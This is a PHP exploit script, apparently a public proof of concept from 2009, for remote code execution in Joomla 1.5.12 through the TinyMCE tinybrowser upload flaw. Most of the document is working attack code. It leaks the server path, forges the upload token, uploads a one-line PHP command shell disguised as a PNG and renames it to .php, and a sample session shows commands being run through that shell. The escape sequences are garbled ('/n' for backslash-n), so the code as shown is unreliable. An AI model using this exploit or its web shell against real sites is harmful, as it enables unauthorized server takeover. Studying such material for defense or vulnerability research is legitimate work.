<?php |
|
/** |
** Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability |
** |
** Tested against : |
** - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9 |
** - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12 |
** |
** Luca "daath" De Fulgentis - daath [at] nibblesec.org |
** http://blog.nibblesec.org |
** |
**/ |
|
/* |
daath@shaytan:~$ php pwnoomla.php localhost /joomla |
|
[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-] |
|
[#] Attacking localhost:80/joomla/ |
[+] Web root pathname is : /var/www/ |
[+] Magic token is a8de65e217ed779dbda80eb04502a2da |
[#] Creating remote directory ... DONE |
[#] Uploading image ... DONE |
[#] Renaming image's extension (takes a while) ... PWNED! |
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php |
|
daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0/n/n" | nc localhost 80 |
HTTP/1.1 200 OK |
Date: Mon, 28 Sep 2009 10:39:43 GMT |
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch |
X-Powered-By: PHP/5.2.6-2ubuntu4.3 |
Vary: Accept-Encoding |
Connection: close |
Content-Type: text/html |
|
-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php |
daath@shaytan:~$ |
*/ |
|
|
$host = "localhost"; |
$port = "80"; |
$install_path = "/"; |
|
$path = "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser"; |
$dir = "/tinybrowser.php?type=image&folder="; |
$upload = "/upload_file.php"; |
$rename = "/edit.php?type=file&folder="; |
|
/* |
* PHP shell |
*/ |
$php_shell = "<?php if(isset(/$_GET[/"cmd/"])) system(/$_GET[/"cmd/"]); ?>"; |
|
echo "/n [-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]/n/n"; |
|
if($argc < 2) { |
echo " Usage: php {$argv[0]} host joomla_install_path/n"; |
echo " Example : php {$argv[0]} localhost /joomla/ /n/n"; |
exit(1); |
} |
|
$host = $argv[1]; |
|
if($argc == 3) { |
$install_path = $argv[2][0] == "/" ? $argv[2] : "/".$argv[2]; |
$install_path = $argv[2][strlen($install_path)-1] == "/" ? $install_path : $install_path."/"; |
} |
|
echo " [#] Attacking {$host}:{$port}{$install_path}/n"; |
|
$resp = HTTPRequest("GET {$install_path}/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php HTTP/1.0/r/n/r/n"); |
if(strstr($resp, "Restricted access")) { |
die(" [-] Joomla is NOT vulnerable, exiting./n/n"); |
} |
|
$webroot = get_webroot_pathname(); |
if($webroot == "") { |
die(" [-] Web root pathname NOT FOUND, exiting./n/n"); |
} |
|
echo " [+] Web root pathname is : {$webroot}/n"; |
|
$seed = md5($webroot . "s0merand0mjunk!!!111"); |
echo " [+] Magic token is {$seed}/n"; |
|
$my_dir = "i" . rand(); |
echo " [#] Creating remote directory ... "; |
$resp = HTTPRequest("GET {$install_path}{$path}{$dir}/{$my_dir} HTTP/1.0/r/n/r/n"); |
|
if(!strstr($resp, "directory has been successfully created")) { |
die("FAILED/n [-] Error - creating directory, exiting./n/n"); |
} |
echo "DONE/n"; |
|
$my_shell = md5(time()); |
echo " [#] Uploading image ... "; |
|
$data = "--1234567/r/n"; |
$data .= "Content-Disposition: form-data; name=/"Filedata/"; filename=/"{$my_shell}.png/"/r/n/r/n"; |
$data .= "{$php_shell}/r/n"; |
$data .= "--1234567--/r/n"; |
|
$req = "POST {$install_path}{$path}{$upload}" . "?obfuscate={$seed}&type=file&folder={$install_path}images/stories/{$my_dir} HTTP/1.1/r/n"; |
$req .= "Host: {$host}/r/n"; |
$req .= "Content-Length: ".strlen($data)."/r/n"; |
$req .= "Content-Type: multipart/form-data; boundary=1234567/r/n"; |
$req .= "Connection: close/r/n/r/n"; |
$req .= $data; |
|
$resp = HTTPRequest($req); |
|
if (!strstr($resp,"File Upload Success")) { |
die("FAILED/n [-] Error - image uploading, exiting./n/n"); |
} |
echo "DONE/n"; |
|
echo " [#] Renaming image's extension (takes a while) ... "; |
|
$data = "actionfile%5B0%5D={$my_shell}.png_&renameext%5B0%5D=php&renamefile%5B0%5D=shell.&sortby=name"; |
$data .= "&sorttype=asc&find=&showpage=0&action=rename&commit=/r/n/r/n"; |
|
$req = "POST {$install_path}{$path}/edit.php?type=image&folder={$my_dir}%2F HTTP/1.1/n"; |
$req .= "Host: {$host}/r/n"; |
$req .= "Content-Type: application/x-www-form-urlencoded/r/n"; |
$req .= "Content-Length: " . strlen($data) . "/r/n/r/n"; |
$req .= $data; |
|
$resp = HTTPRequest($req); |
|
if(!strstr($resp, "1 files have been successfully renamed")) { |
die("FAILED/n [-] Error - image's extension renaming, exiting./n"); |
} |
echo "PWNED!/n"; |
|
echo " [+] Here is the php shell : {$install_path}images/stories/{$my_dir}/shell.php/n/n"; |
exit; |
|
function get_webroot_pathname() { |
|
global $install_path; |
|
$resp = HTTPRequest("GET {$install_path}/libraries/joomla/utilities/compat/php50x.php HTTP/1./r/n/r/n"); |
|
$pos1 = strpos($resp, "in <b>"); |
$pos2 = strpos($resp, "libraries"); |
|
if($pos1 === false || $pos2 === false) |
return ""; |
|
$init = $pos1 +strlen("in <b>"); |
|
$str = substr($resp, $init, $pos2-$init); |
|
if($install_path != "/") { |
|
$install_path2 = str_replace("/", "", $install_path); |
|
$pos1 = strrpos($str, $install_path2); |
|
if($pos1 === false) |
return ""; |
|
$str = substr($str, 0, $pos1-1); |
} |
|
if($str[strlen($str)-1] == "//") |
$str = substr($str, 0, $pos-1); |
|
if(strstr($str, "/") && $str[strlen($str)-1] != "/") |
$str = $str . "/"; |
|
$pathname = str_replace("//", "/", $str); |
return $pathname; |
} |
|
function HTTPRequest($req) { |
|
global $host, $port; |
|
$s = @fsockopen($host, $port, $errno, $errstr, 10); |
if(!$s) { |
die("/n [-] Error in connection, exiting./n/n"); |
} |
|
fputs($s, $req); |
$resp = ""; |
while(!feof($s)) { |
$resp .= fgets($s); |
} |
fclose($s); |
|
return $resp; |
} |
?> |
